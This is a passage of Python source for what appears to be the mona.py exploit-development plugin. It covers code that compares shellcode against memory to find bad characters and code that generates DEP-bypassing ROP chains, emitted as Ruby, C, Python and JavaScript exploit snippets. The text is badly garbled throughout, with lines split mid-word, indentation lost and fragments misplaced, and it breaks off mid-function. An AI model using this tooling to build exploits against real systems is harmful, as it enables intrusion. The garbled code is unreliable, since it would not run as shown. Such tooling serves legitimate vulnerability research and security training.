>>> list(MemoryComparator("abcdefghijklm", "mmmcdefgHIJZklm").gu
ess_mapping())
[('m', 'm'), ('m',), ('c',), ('d',), ('e',), ('f',), ('g',), ('H
', 'I'), ('J',),
('Z',), ('k',), ('l',), ('m',)]
>>> list(MemoryComparator("abcdefgcbadefg", "ABBCdefgCBBAdefg").
guess_mapping())
[('A',), ('B', 'B'), ('C',), ('d',), ('e',), ('f',), ('g',), ('C
',), ('B', 'B'),
('A',), ('d',), ('e',), ('f',), ('g',)]
'''
x, y = self.x, self.y
mappings_by_byte = defaultdict(lambda: defaultdict(int))
for c in self.get_chunks():
dx, dy = c.dx, c.dy
# heuristics to detect expansions
if dx < dy and dy - dx <= 3 and dy <= 5:
for i, b in enumerate(c.xchunk):
slices = set()
for start in range(i, min(2*i + 1, dy)):
for size in range(1, min(dy - st
art + 1, 3)):
slc = tuple(c.ychunk[sta
rt:start+size])
if slc in slices: contin
ue
mappings_by_byte[b][slc]
+= 1
slices.add(slc)
for b, values in mappings_by_byte.iteritems():
mappings_by_byte[b] = sorted(values.items(),
key=lambda (value, count):
(-count, -len(value)))
for c in self.get_chunks():
dx, dy, xchunk, ychunk = c.dx, c.dy, c.xchunk, c.ychunk
if dx < dy: # expansion
# try to apply heuristics for small chunks
if dx <= 10:
res = []
for b in xchunk:
if dx == dy or dy >= 2*dx: break
for value, count in mappings_by_
byte[b]:

if tuple(ychunk[:len(val
ue)]) != value: continue
res.append(value)
ychunk = ychunk[len(valu
e):]
dy -= len(value)
break
else:
yield (ychunk[0],)
ychunk = ychunk[1:]
dy -= 1
dx -= 1
for c in res: yield c
# ... or do it the stupid way. If n bytes were c
hanged to m, simply do
# as much drops/expansions as necessary at the b
eginning and than
# yield the rest of the y chunk as single-byte m
odifications
for k in range(dy - dx): yield tuple(ychunk[2*k:
2*k+2])
ychunk = ychunk[2*(dy - dx):]
elif dx > dy:
for _ in range(dx - dy): yield ()
for b in ychunk: yield (b,)
def read_memory(dbg, location, max_size):
''' read the maximum amount of memory from the given address '''
for i in rrange(max_size + 1, 0):
mem = dbg.readMemory(location, i)
if len(mem) == i:
return mem
# we should never get here, i == 0 should always fulfill the above condi
tion
assert False
def shorten_bytes(bytes, size=8):
if len(bytes) <= size: return bin2hex(bytes)
return '%02x ... %02x' % (ord(bytes[0]), ord(bytes[-1]))
def draw_byte_table(mapping, log, columns=16):
hrspace = 3 * columns - 1
hr = '-'*hrspace
log('
,' + hr + '.')
log('
|' + ' Comparison results:'.ljust(hrspace) + '|')
log('
|' + hr + '|')
for i, chunk in enumerate(extract_chunks(mapping, columns)):
chunk = list(chunk) # save generator result in a list
src, mapped = zip(*chunk)
values = []
for left, right in zip(src, mapped):
if left == right: values.append('')
te matches original
elif len(right) == 0: values.append('-1')
te dropped
elif len(right) == 2: values.append('+1')
te expanded
else:
values.append(bin2hex(right))

# by
# by
# by
# by

te modified
line1 = '%3x' % (i * columns) + ' |' + bin2hex(src)
line2 = '
|' + ' '.join(sym.ljust(2) for sym in values)
# highlight lines if a modification was detected - removed, look
s bad in WinDBG

log('

#highlight = any(x != y for x, y in chunk)


#for l in (line1, line2):
log(line1.ljust(5 + hrspace) + '| File')
log(line2.ljust(5 + hrspace) + '| Memory')
`' + hr + "'")

def draw_chunk_table(cmp, log):


''' Outputs a table that compares the found memory chunks side-by-side
in input file vs. memory '''
table = [('', '', '', '', 'File', 'Memory', 'Note')]
delims = (' ', ' ', ' ', ' | ', ' | ', ' | ', '')
last_unmodified = cmp.get_last_unmodified_chunk()
for c in cmp.get_chunks():
if c.dy == 0:
note = 'missing'
elif c.dx > c.dy: note = 'compacted'
elif c.dx < c.dy: note = 'expanded'
elif c.unmodified: note = 'unmodified!'
else:
note = 'corrupted'
table.append((c.i, c.j, c.dx, c.dy, shorten_bytes(c.xchunk), sho
rten_bytes(c.ychunk), note))
# draw the table
sizes = tuple(max(len(str(c)) for c in col) for col in zip(*table))
for i, row in enumerate(table):
log(''.join(str(x).ljust(size) + delim for x, size, delim in zip
(row, sizes, delims)))
if i == 0 or (i == last_unmodified + 1 and i < len(table)):
log('-' * (sum(sizes) + sum(len(d) for d in delims)))
def guess_bad_chars(cmp, log, logsilent):
guessed_badchars = []
''' Tries to guess bad characters and outputs them '''
bytes_in_changed_blocks = defaultdict(int)
chunks = cmp.get_chunks()
last_unmodified = cmp.get_last_unmodified_chunk()
for i, c in enumerate(chunks):
if c.unmodified: continue
if i == last_unmodified + 1:
# only report the first character as bad in the final co
rrupted chunk
bytes_in_changed_blocks[c.xchunk[0]] += 1
break
for b in set(c.xchunk):
bytes_in_changed_blocks[b] += 1
# guess bad chars
likely_bc = [char for char, count in bytes_in_changed_blocks.iteritems()
if count > 2]
if likely_bc:
if not logsilent:
log("Very likely bad chars: %s" % bin2hex(sorted(likely_
bc)))
guessed_badchars += list(sorted(likely_bc))
if not logsilent:

log("Possibly bad chars: %s" % bin2hex(sorted(bytes_in_changed_b


locks)))
guessed_badchars += list(sorted(bytes_in_changed_blocks))
# list bytes already omitted from the input
bytes_omitted_from_input = set(map(chr, range(0, 256))) - set(cmp.x)
if bytes_omitted_from_input:
log("Bytes omitted from input: %s" % bin2hex(sorted(bytes_omitte
d_from_input)))
guessed_badchars += list(sorted( bytes_omitted_from_input))
# return list, use list(set(..)) to remove dups
return list(set(guessed_badchars))
def memcompare(location, src, comparetable, sctype, smart=True, tablecols=16):
''' Thoroughly compares an input binary string with a location in memory
and outputs the results. '''
# set up logging
objlogfile = MnLog("compare.txt")
logfile = objlogfile.reset(False)
# helpers
def log(msg='', **kw):
msg = str(msg)
dbg.log(msg, address=location, **kw)
objlogfile.write(msg, logfile)
def add_to_table(msg,badbytes = []):
locinfo = MnPointer(location).memLocation()
badbstr = " "
if len(badbytes) > 0:
badbstr = "%s " % bin2hex(sorted(badbytes))
comparetable.add(0, ['0x%08x' % location, msg, badbstr, sctype,
locinfo])
objlogfile.write("-" * 100,logfile)
log('[+] Comparing with memory at location : 0x%08x (%s)' % (location,Mn
Pointer(location).memLocation()), highlight=1)
dbg.updateLog()
mem = read_memory(dbg, location, 2*len(src))
if smart:
cmp = MemoryComparator(src, mem)
mapped_chunks = map(''.join, cmp.guess_mapping())
else:
mapped_chunks = list(mem[:len(src)]) + [()] * (len(src) - len(me
m))
mapping = zip(src, mapped_chunks)
broken = [(i,x,y) for i,(x,y) in enumerate(mapping) if x != y]
if not broken:
log('!!! Hooray, %s shellcode unmodified !!!' % sctype, focus=1,
highlight=1)
add_to_table('Unmodified')
guessed_bc = guess_bad_chars(cmp, log, True)
else:
log("Only %d original bytes of '%s' code found." % (len(src) - l
en(broken), sctype))
draw_byte_table(mapping, log, columns=tablecols)

log()
guessed_bc = []
if smart:
# print additional analysis
draw_chunk_table(cmp, log)
log()
guessed_bc = guess_bad_chars(cmp, log, False)
log()
add_to_table('Corruption after %d bytes' % broken[0][0],guessed_
bc)
#-----------------------------------------------------------------------#
# ROP related functions
#-----------------------------------------------------------------------#
def createRopChains(suggestions,interestinggadgets,allgadgets,modulecriteria,cri
teria,objprogressfile,progressfile):
"""
Will attempt to produce ROP chains
"""
global
global
global
global
global

ptr_to_get
ptr_counter
silent
noheader
ignoremodules

#vars
vplogtxt = ""
# RVA ?
showrva = False
if "rva" in criteria:
showrva = True
#define rop routines
routinedefs = {}
routinesetup = {}
virtualprotect
= [["esi","api"],["ebp","jmp esp
"],["ebx",0x201],["edx",0x40],["ecx","&?W"],["edi","ropnop"],["eax","nop"]]
virtualalloc
= [["esi","api"],["ebp","jmp esp
"],["ebx",0x01],["edx",0x1000],["ecx",0x40],["edi","ropnop"],["eax","nop"]]
setinformationprocess
= [["ebp","api"],["edx",0x22],["ecx","&"
,"0x00000002"],["ebx",0xffffffff],["eax",0x4],["edi","pop"]]
setprocessdeppolicy
= [["ebp","api"],["ebx","&","0x0
0000000"],["edi","pop"]]
routinedefs["VirtualProtect"]
= virtualprotect
routinedefs["VirtualAlloc"]
= virtualalloc
# only run these on older systems
osver=dbg.getOsVersion()
if not (osver == "6" or osver == "7" or osver == "8" or osver == "vista"
or osver == "win7" or osver == "2008server" or osver == "win8"):
routinedefs["SetInformationProcess"]
= setinformationprocess
routinedefs["SetProcessDEPPolicy"]
= setprocessdepp
olicy

modulestosearch = getModulesToQuery(modulecriteria)
routinesetup["VirtualProtect"] = """------------------------------------------EAX = NOP (0x90909090)
ECX = lpOldProtect (ptr to W address)
EDX = NewProtect (0x40)
EBX = dwSize
ESP = lPAddress (automatic)
EBP = ReturnTo (ptr to jmp esp)
ESI = ptr to VirtualProtect()
EDI = ROP NOP (RETN)
--- alternative chain --EAX = tr to &VirtualProtect()
ECX = lpOldProtect (ptr to W address)
EDX = NewProtect (0x40)
EBX = dwSize
ESP = lPAddress (automatic)
EBP = POP (skip 4 bytes)
ESI = ptr to JMP [EAX]
EDI = ROP NOP (RETN)
+ place ptr to "jmp esp" on stack, below PUSHAD
--------------------------------------------"""
routinesetup["VirtualAlloc"] = """------------------------------------------EAX = NOP (0x90909090)
ECX = flProtect (0x40)
EDX = flAllocationType (0x1000)
EBX = dwSize
ESP = lpAddress (automatic)
EBP = ReturnTo (ptr to jmp esp)
ESI = ptr to VirtualAlloc()
EDI = ROP NOP (RETN)
--- alternative chain --EAX = ptr to &VirtualAlloc()
ECX = flProtect (0x40)
EDX = flAllocationType (0x1000)
EBX = dwSize
ESP = lpAddress (automatic)
EBP = POP (skip 4 bytes)
ESI = ptr to JMP [EAX]
EDI = ROP NOP (RETN)
+ place ptr to "jmp esp" on stack, below PUSHAD
--------------------------------------------"""
routinesetup["SetInformationProcess"] = """------------------------------------------EAX = SizeOf(ExecuteFlags) (0x4)
ECX = &ExecuteFlags (ptr to 0x00000002)
EDX = ProcessExecuteFlags (0x22)
EBX = NtCurrentProcess (0xffffffff)
ESP = ReturnTo (automatic)
EBP = ptr to NtSetInformationProcess()
ESI = <not used>
EDI = ROP NOP (4 byte stackpivot)
--------------------------------------------"""
routinesetup["SetProcessDEPPolicy"] = """-------------------------------

------------EAX = <not used>


ECX = <not used>
EDX = <not used>
EBX = dwFlags (ptr to 0x00000000)
ESP = ReturnTo (automatic)
EBP = ptr to SetProcessDEPPolicy()
ESI = <not used>
EDI = ROP NOP (4 byte stackpivot)
--------------------------------------------"""
updatetxt = ""
for routine in routinedefs:
thischain = {}
updatetxt = "Attempting to produce rop chain for %s" % routine
dbg.log("[+] %s" % updatetxt)
objprogressfile.write("- " + updatetxt,progressfile)
vplogtxt += "\n"
vplogtxt += "#" * 80
vplogtxt += "\n\nRegister setup for " + routine + "() :\n" + rou
tinesetup[routine] + "\n\n"
targetOS = "(XP/2003 Server and up)"
if routine == "SetInformationProcess":
targetOS = "(XP/2003 Server only)"
if routine == "SetProcessDEPPolicy":
targetOS = "(XP SP3/Vista SP1/2008 Server SP1, can be ca
lled only once per process)"
title = "ROP Chain for %s() [%s] :" % (routine,targetOS)
vplogtxt += "\n%s\n" % title
vplogtxt += ("-" * len(title)) + "\n\n"
vplogtxt += "*** [ Ruby ] ***\n\n"
vplogtxt += " def create_rop_chain()\n"
vplogtxt += '\n
# rop chain generated with mona.py - www.core
lan.be'
vplogtxt += "\n
rop_gadgets = \n"
vplogtxt += "
[\n"
thischaintxt = ""
dbg.updateLog()
modused = {}
skiplist = []
replacelist = {}
toadd = {}
movetolast = []
regsequences = []
stepcnt = 1
for step in routinedefs[routine]:
thisreg = step[0]
thistarget = step[1]
if thisreg in replacelist:
thistarget = replacelist[thisreg]
dbg.log("
routine]),thisreg))

Step %d/%d: %s" % (stepcnt,len(routinedefs[

stepcnt += 1
if not thisreg in skiplist:
regsequences.append(thisreg)
# this must be done first, so we can determine d
eviations to the chain using
# replacelist and skiplist arrays
if str(thistarget) == "api":
objprogressfile.write(" * Enumerating R
OPFunc info",progressfile)
#dbg.log("
Enumerating ROPFunc info")
# routine to put api pointer in thisreg
funcptr,functext = getRopFuncPtr(routine
,modulecriteria,criteria,"iat")
if routine == "SetProcessDEPPolicy" and
funcptr == 0:
# read EAT
funcptr,functext = getRopFuncPtr
(routine,modulecriteria,criteria,"eat")
extra = ""
if funcptr == 0:
extra = "[-] Unable to f
ind ptr to "
thischain[thisreg] = [[0
,extra + routine + "() (-> to be put in " + thisreg + ")",0]]
else:
thischain[thisreg] = put
ValueInReg(thisreg,funcptr,routine + "() [" + MnPointer(funcptr).belongsTo() + "
]",suggestions,interestinggadgets,criteria)
else:
thischain[thisreg],skiplist = ge
tPickupGadget(thisreg,funcptr,functext,suggestions,interestinggadgets,criteria,m
odulecriteria,routine)
# if skiplist is not empty, then
we are using the alternative pickup (via jmp [eax])
# this means we have to make som
e changes to the routine
# and place this pickup at the e
nd
if len(skiplist) > 0:
if routine.lower() == "v
irtualprotect" or routine.lower() == "virtualalloc":
replacelist["ebp
"] = "pop"
#set up call to
finding jmp esp
oldsilent = sile
nt
silent=True
ptr_counter = 0
ptr_to_get = 3
jmpreg = findJMP
(modulecriteria,criteria,"esp")
ptr_counter = 0
ptr_to_get = -1
jmpptr = 0

jmptype = ""
silent=oldsilent
total = getNrOfD
ictElements(jmpreg)
if total > 0:
ptrindex
= random.randint(1,total)
indexcnt
= 1
for regt
ype in jmpreg:
for ptr in jmpreg[regtype]:
if indexcnt == ptrindex:
jmpptr = ptr
jmptype = regtype
break
indexcnt += 1
if jmpptr > 0:
toadd[th
istarget] = [jmpptr,"ptr to '" + jmptype + "'"]
else:
toadd[th
istarget] = [jmpptr,"ptr to 'jmp esp'"]
# make sure the
pickup is placed last
movetolast.appen
d(thisreg)
if str(thistarget).startswith("jmp"):
targetreg = str(thistarget).split(" ")[1
]
#set up call to finding jmp esp
oldsilent = silent
silent=True
ptr_counter = 0
ptr_to_get = 3
jmpreg = findJMP(modulecriteria,criteria
,targetreg)
ptr_counter = 0
ptr_to_get = -1
jmpptr = 0
jmptype = ""
silent=oldsilent
total = getNrOfDictElements(jmpreg)
if total > 0:
ptrindex = random.randint(1,tota
l)
indexcnt= 1
for regtype in jmpreg:
for ptr in jmpreg[regtyp
e]:
if indexcnt == p
trindex:

jmpptr =
ptr
jmptype
= regtype
break
indexcnt += 1
jmpinfo = ""
if jmpptr == 0:
jmptype = ""
jmpinfo = "Unable to find ptr to
'JMP ESP'"
else:
jmpinfo = MnPointer(jmpptr).belo
ngsTo()
thischain[thisreg] = putValueInReg(thisr
eg,jmpptr,"& " + jmptype + " [" + jmpinfo + "]",suggestions,interestinggadgets,c
riteria)
if str(thistarget) == "ropnop":
ropptr = 0
for poptype in suggestions:
if poptype.startswith("pop "):
for retptr in suggestion
s[poptype]:
if getOffset(int
erestinggadgets[retptr]) == 0 and interestinggadgets[retptr].count("#") == 2:
ropptr =
retptr+1
break
if poptype.startswith("inc "):
for retptr in suggestion
s[poptype]:
if getOffset(int
erestinggadgets[retptr]) == 0 and interestinggadgets[retptr].count("#") == 2:
ropptr =
retptr+1
break
if poptype.startswith("dec "):
for retptr in suggestion
s[poptype]:
if getOffset(int
erestinggadgets[retptr]) == 0 and interestinggadgets[retptr].count("#") == 2:
ropptr =
retptr+1
break
if poptype.startswith("neg "):
for retptr in suggestion
s[poptype]:
if getOffset(int
erestinggadgets[retptr]) == 0 and interestinggadgets[retptr].count("#") == 2:
ropptr =
retptr+2
break
if ropptr == 0:
for emptytype in suggestions:
if emptytype.startswith(
"empty "):
for retptr in su

ggestions[emptytype]:
if inter
estinggadgets[retptr].startswith("# XOR"):
if getOffset(interestinggadgets[retptr]) == 0:
ropptr = retptr+2
break
if ropptr > 0:
thischain[thisreg] = putValueInR
eg(thisreg,ropptr,"RETN (ROP NOP) [" + MnPointer(ropptr).belongsTo() + "]",sugge
stions,interestinggadgets,criteria)
else:
thischain[thisreg] = putValueInR
eg(thisreg,ropptr,"[-] Unable to find ptr to RETN (ROP NOP)",suggestions,interes
tinggadgets,criteria)
if thistarget.__class__.__name__ == "int" or thi
starget.__class__.__name__ == "long":
thischain[thisreg] = putValueInReg(thisr
eg,thistarget,"0x" + toHex(thistarget) + "-> " + thisreg,suggestions,interesting
gadgets,criteria)
if str(thistarget) == "nop":
thischain[thisreg] = putValueInReg(thisr
eg,0x90909090,"nop",suggestions,interestinggadgets,criteria)
if str(thistarget).startswith("&?"):
#pointer to
rwptr = getAPointer(modulestosearch,crit
eria,"RW")
if rwptr == 0:
rwptr = getAPointer(modulestosea
rch,criteria,"W")
if rwptr != 0:
thischain[thisreg] = putValueInR
eg(thisreg,rwptr,"&Writable location [" + MnPointer(rwptr).belongsTo()+"]",sugge
stions,interestinggadgets,criteria)
else:
thischain[thisreg] = putValueInR
eg(thisreg,rwptr,"[-] Unable to find writable location",suggestions,interestingg
adgets,criteria)
if str(thistarget).startswith("pop"):
#get distance
if "pop " + thisreg in suggestions:
popptr = getShortestGadget(sugge
stions["pop "+thisreg])
junksize = getJunk(interestingga
dgets[popptr])-4
thismodname = MnPointer(popptr).
belongsTo()
thischain[thisreg] = [[popptr,""
,junksize],[popptr,"skip 4 bytes [" + thismodname + "]"]]
else:

thischain[thisreg] = [[0,"[-] Co
uldn't find a gadget to put a pointer to a stackpivot (4 bytes) into "+ thisreg,
0]]
if str(thistarget)==("&"):
pattern = step[2]
base = 0
top = TOP_USERLAND
type = "ptr"
al = criteria["accesslevel"]
criteria["accesslevel"] = "R"
ptr_counter = 0
ptr_to_get = 2
oldsilent = silent
silent=True
allpointers = findPattern(modulecriteria
,criteria,pattern,type,base,top)
silent = oldsilent
criteria["accesslevel"] = al
if len(allpointers) > 0:
theptr = 0
for ptrtype in allpointers:
for ptrs in allpointers[
ptrtype]:
theptr = ptrs
break
thischain[thisreg] = putValueInR
eg(thisreg,theptr,"&" + str(pattern) + " [" + MnPointer(theptr).belongsTo() + "]
",suggestions,interestinggadgets,criteria)
else:
thischain[thisreg] = putValueInR
eg(thisreg,0,"[-] Unable to find ptr to " + str(pattern),suggestions,interesting
gadgets,criteria)
returnoffset = 0
delayedfill = 0
junksize = 0
# get longest modulename
longestmod = 0
fillersize = 0
for step in routinedefs[routine]:
thisreg = step[0]
if thisreg in thischain:
for gadget in thischain[thisreg]:
thismodname = sanitize_module_name(MnPoi
nter(gadget[0]).belongsTo())
if len(thismodname) > longestmod:
longestmod = len(thismodname)
if showrva:
fillersize = longestmod + 8
else:
fillersize = 0
# modify the chain order (regsequences array)
for reg in movetolast:
if reg in regsequences:
regsequences.remove(reg)
regsequences.append(reg)

# create the current chain


ropdbchain = ""
tohex_array = []
for step in regsequences:
thisreg = step
if thisreg in thischain:
for gadget in thischain[thisreg]:
gadgetstep = gadget[0]
steptxt = gadget[1]
junksize = 0
showfills = False
if len(gadget) > 2:
junksize = gadget[2]
if gadgetstep in interestinggadgets and
steptxt == "":
thisinstr = interestinggadgets[g
adgetstep].lstrip()
if thisinstr.startswith("#"):
thisinstr = thisinstr[2:
len(thisinstr)]
showfills = True
thismodname = MnPointer(gadgetst
ep).belongsTo()
thisinstr += " [" + thismodname
+ "]"
tmod = MnModule(thismodname)
if not thismodname in modused:
modused[thismodname] = [
tmod.moduleBase,tmod.__str__()]
modprefix = "base_" + sanitize_m
odule_name(thismodname)
if showrva:
alignsize = longestmod len(sanitize_module_name(thismodname))
vplogtxt += "
%s +
0x%s,%s # %s %s\n" % (modprefix,toHex(gadgetstep-tmod.moduleBase),toSize("",ali
gnsize),thisinstr,steptxt)
thischaintxt += "
%
s + 0x%s,%s # %s %s\n" % (modprefix,toHex(gadgetstep-tmod.moduleBase),toSize(""
,alignsize),thisinstr,steptxt)
else:
vplogtxt += "
0x%s,
# %s %s\n" % (toHex(gadgetstep),thisinstr,steptxt)
thischaintxt += "
0
x%s, # %s %s\n" % (toHex(gadgetstep),thisinstr,steptxt)
ropdbchain += '
<gadget offse
t="0x%s">%s</gadget>\n' % (toHex(gadgetstep-tmod.moduleBase),thisinstr.strip(" "
))
tohex_array.append(gadgetstep)
if showfills:
vplogtxt += createJunk(r
eturnoffset,"Filler (RETN offset compensation)",fillersize)
thischaintxt += createJu
nk(returnoffset,"Filler (RETN offset compensation)",fillersize)
if returnoffset > 0:
ropdbchain += '
<gadget value="junk">Filler</gadget>\n'

returnoffset = getOffset
(interestinggadgets[gadgetstep])
if delayedfill > 0:
vplogtxt += crea
teJunk(delayedfill,"Filler (compensate)",fillersize)
thischaintxt +=
createJunk(delayedfill,"Filler (compensate)",fillersize)
ropdbchain += '
<gadget value="junk">Filler</gadget>\n'
delayedfill = 0
if thisinstr.startswith(
"POP "):
delayedfill = ju
nksize
else:
vplogtxt += crea
teJunk(junksize,"Filler (compensate)",fillersize)
thischaintxt +=
createJunk(junksize,"Filler (compensate)",fillersize)
if junksize > 0:
ropdbcha
in += '

<gadget value="junk">Filler</gadget>\n'
else:
# still could be a pointer
thismodname = MnPointer(gadgetst
ep).belongsTo()
if thismodname != "":
tmod = MnModule(thismodn
ame)
if not thismodname in mo
dused:
modused[thismodn
ame] = [tmod.moduleBase,tmod.__str__()]
modprefix = "base_" + sa
nitize_module_name(thismodname)
if showrva:
alignsize = long
estmod - len(sanitize_module_name(thismodname))
vplogtxt += "
%s + 0x%s,%s # %s\n" % (modprefix,toHex(gadgetstep-tmod.moduleBase),toSize("
",alignsize),steptxt)
thischaintxt +=
"
%s + 0x%s,%s # %s\n" % (modprefix,toHex(gadgetstep-tmod.moduleBase),toSi
ze("",alignsize),steptxt)
else:
vplogtxt += "
0x%s, # %s\n" % (toHex(gadgetstep),steptxt)
thischaintxt +=
"
0x%s, # %s\n" % (toHex(gadgetstep),steptxt)
ropdbchain += '
<gadg
et offset="0x%s">%s</gadget>\n' % (toHex(gadgetstep-tmod.moduleBase),steptxt.str
ip(" "))
else:
vplogtxt += "
0x%s,
%s # %s\n" % (toHex(gadgetstep),toSize("",fillersize),steptxt)
thischaintxt += "
0
x%s,%s # %s\n" % (toHex(gadgetstep),toSize("",fillersize),steptxt)
ropdbchain += '
<gadg
et value="0x%s">%s</gadget>\n' % (toHex(gadgetstep),steptxt.strip(" "))

if steptxt.startswith("[-]"):
vplogtxt += createJunk(r
eturnoffset,"Filler (RETN offset compensation)",fillersize)
thischaintxt += createJu
nk(returnoffset,"Filler (RETN offset compensation)",fillersize)
ropdbchain += '
<gadg
et value="junk">Filler</gadget>\n'
returnoffset = 0
if delayedfill > 0:
vplogtxt += createJunk(d
elayedfill,"Filler (compensate)",fillersize)
thischaintxt += createJu
nk(delayedfill,"Filler (compensate)",fillersize)
ropdbchain += '
<gadg
et value="junk">Filler</gadget>\n'
delayedfill = 0
vplogtxt += createJunk(junksize,
"",fillersize)
thischaintxt += createJunk(junks
ize,"",fillersize)
if fillersize > 0:
ropdbchain += '
<gadg
et value="junk">Filler</gadget>\n'
# finish it off
steptxt = ""
if "pushad" in suggestions:
shortest_pushad = getShortestGadget(suggestions["pushad"
])
junksize = getJunk(interestinggadgets[shortest_pushad])
thisinstr = interestinggadgets[shortest_pushad].lstrip()
if thisinstr.startswith("#"):
thisinstr = thisinstr[2:len(thisinstr)]
thismodname = MnPointer(shortest_pushad).belongsTo()
thisinstr += " [" + thismodname + "]"
tmod = MnModule(thismodname)
if not thismodname in modused:
modused[thismodname] = [tmod.moduleBase,tmod.__s
tr__()]
modprefix = "base_" + sanitize_module_name(thismodname)
if showrva:
alignsize = longestmod - len(thismodname)
vplogtxt += "
%s + 0x%s,%s # %s %s\n" % (m
odprefix,toHex(shortest_pushad - tmod.moduleBase),toSize("",alignsize),thisinstr
,steptxt)
thischaintxt += "
%s + 0x%s,%s # %s %s\n"
% (modprefix,toHex(shortest_pushad - tmod.moduleBase),toSize("",alignsize),thisi
nstr,steptxt)
else:
vplogtxt += "
0x%s, # %s %s\n" % (toHex(sh
ortest_pushad),thisinstr,steptxt)
thischaintxt += "
0x%s, # %s %s\n" % (toHe
x(shortest_pushad),thisinstr,steptxt)
ropdbchain += '
<gadget offset="0x%s">%s</gadget>\n'
% (toHex(shortest_pushad-tmod.moduleBase),thisinstr.strip(" "))
vplogtxt += createJunk(returnoffset,"Filler (RETN offset
compensation)",fillersize)
thischaintxt += createJunk(returnoffset,"Filler (RETN of
fset compensation)",fillersize)
if fillersize > 0:
ropdbchain += '
<gadget value="junk">Filler</

gadget>\n'
vplogtxt += createJunk(junksize,"",fillersize)
thischaintxt += createJunk(junksize,"",fillersize)
if fillersize > 0:
ropdbchain += '
<gadget value="junk">Filler</
gadget>\n'
else:
vplogtxt += "
0x00000000,%s # %s\n" % (toSize("",f
illersize),"[-] Unable to find pushad gadget")
thischaintxt += "
0x00000000,%s # %s\n" % (toSize(
"",fillersize),"[-] Unable to find pushad gadget")
ropdbchain += '
<gadget offset="0x00000000">Unable to
find PUSHAD gadget</gadget>\n'
vplogtxt += createJunk(returnoffset,"Filler (RETN offset
compensation)",fillersize)
thischaintxt += createJunk(returnoffset,"Filler (RETN of
fset compensation)",fillersize)
if returnoffset > 0:
ropdbchain += '
<gadget value="junk">Filler</
gadget>\n'
# anything else to add ?
if len(toadd) > 0:
for adds in toadd:
theptr = toadd[adds][0]
freetext = toadd[adds][1]
if theptr > 0:
thismodname = MnPointer(theptr).belongsT
o()
freetext += " [" + thismodname + "]"
tmod = MnModule(thismodname)
if not thismodname in modused:
modused[thismodname] = [tmod.mod
uleBase,tmod.__str__()]
modprefix = "base_" + sanitize_module_na
me(thismodname)
if showrva:
alignsize = longestmod - len(thi
smodname)
vplogtxt += "
%s + 0x%s,%s
# %s\n" % (modprefix,toHex(theptr - tmod.moduleBase),toSize("",alignsize),freet
ext)
thischaintxt += "
%s + 0x%s
,%s # %s\n" % (modprefix,toHex(theptr - tmod.moduleBase),toSize("",alignsize),f
reetext)
else:
vplogtxt += "
0x%s, # %s\n
" % (toHex(theptr),freetext)
thischaintxt += "
0x%s, #
%s\n" % (toHex(theptr),freetext)
ropdbchain += '
<gadget offset="0x%s"
>%s</gadget>\n' % (toHex(theptr-tmod.moduleBase),freetext.strip(" "))
else:
vplogtxt += "
0x%s, # <- Unable to
find %s\n" % (toHex(theptr),freetext)
thischaintxt += "
0x%s, # <- Unabl
e to find %s\n" % (toHex(theptr),freetext)
ropdbchain += '
<gadget offset="0x%s"
>Unable to find %s</gadget>\n' % (toHex(theptr),freetext.strip(" "))

vplogtxt += '
].flatten.pack("V*")\n'
vplogtxt += '\n
return rop_gadgets\n\n'
vplogtxt += ' end\n'
vplogtxt += '\n\n # Call the ROP chain generator inside the \'e
xploit\' function :\n\n'
calltxt = "rop_chain = create_rop_chain("
argtxt = ""
vplogtxtpy = ""
vplogtxtc = ""
vplogtxtjs = ""
argtxtpy = ""
if showrva:
for themod in modused:
repr_mod = sanitize_module_name(themod)
vplogtxt += " # " + modused[themod][1] + "\n"
vplogtxtpy += " # " + modused[themod][1] + "\n"
vplogtxtc += " // " + modused[themod][1] + "\n"
vplogtxtjs += " // " + modused[themod][1] + "\n
"
vplogtxt += " base_" + repr_mod + " = 0x%s\n" %
toHex(modused[themod][0])
vplogtxtjs += " var base_" + repr_mod + " = 0x%
s;\n" % toHex(modused[themod][0])
vplogtxtpy += " base_" + repr_mod + " = 0x%s\n"
% toHex(modused[themod][0])
vplogtxtc += " unsigned int base_" + repr_mod +
" = 0x%s;\n" % toHex(modused[themod][0])
calltxt += "base_" + repr_mod + ","
argtxt += "base_" + repr_mod + ","
argtxtpy += "base_" + repr_mod + ","
calltxt = calltxt.rstrip(",") + ")\n"
argtxt = argtxt.strip(",")
argtxtpy = argtxtpy.strip(",")
argtxtjs = argtxtpy.replace(".","")
vplogtxt = vplogtxt.replace("create_rop_chain()","create_rop_cha
in(" + argtxt + ")")
vplogtxt += '\n ' + calltxt
vplogtxt += '\n\n\n'
# C
vplogtxt += "*** [ C ] ***\n\n"
vplogtxt += " #define CREATE_ROP_CHAIN(name, ...) \\\n"
vplogtxt += "
int name##_length = create_rop_chain(NULL, ##__
VA_ARGS__); \\\n"
vplogtxt += "
unsigned int name[name##_length / sizeof(unsign
ed int)]; \\\n"
vplogtxt += "
create_rop_chain(name, ##__VA_ARGS__);\n\n"
vplogtxt += " int create_rop_chain(unsigned int *buf, %s)\n" %
", ".join("unsigned int %s" % _ for _ in argtxt.split(","))
vplogtxt += " {\n"
vplogtxt += "
// rop chain generated with mona.py - www.corel
an.be\n"
vplogtxt += "
unsigned int rop_gadgets[] = {\n"
vplogtxt += thischaintxt.replace("#", "//")
vplogtxt += "
};\n"
vplogtxt += "
if(buf != NULL) {\n"
vplogtxt += "
memcpy(buf, rop_gadgets, sizeof(rop_gadgets))
;\n"
vplogtxt += "
};\n"

vplogtxt += "
return sizeof(rop_gadgets);\n"
vplogtxt += " }\n\n"
vplogtxt += vplogtxtc
vplogtxt += " // use the 'rop_chain' variable after this call,
it's just an unsigned int[]\n"
vplogtxt += " CREATE_ROP_CHAIN(rop_chain, %s);\n" % argtxtpy
vplogtxt += " // alternatively just allocate a large enough buf
fer and get the rop chain, i.e.:\n"
vplogtxt += " // unsigned int rop_chain[256];\n"
vplogtxt += " // int rop_chain_length = create_rop_chain(rop_ch
ain, %s);\n\n" % argtxtpy
# Python
vplogtxt += "*** [ Python ] ***\n\n"
vplogtxt += " def create_rop_chain(%s):\n" % argtxt
vplogtxt += "\n
# rop chain generated with mona.py - www.core
lan.be\n"
vplogtxt += "
rop_gadgets = [\n"
vplogtxt += thischaintxt
vplogtxt += "
]\n"
vplogtxt += "
return ''.join(struct.pack('<I', _) for _ in ro
p_gadgets)\n\n"
vplogtxt += vplogtxtpy
vplogtxt += " rop_chain = create_rop_chain(%s)\n\n" % argtxtpy
# Javascript
vplogtxt += "\n\n*** [ JavaScript ] ***\n\n"
vplogtxt += " //rop chain generated with mona.py - www.corelan.
be\n"
if not showrva:
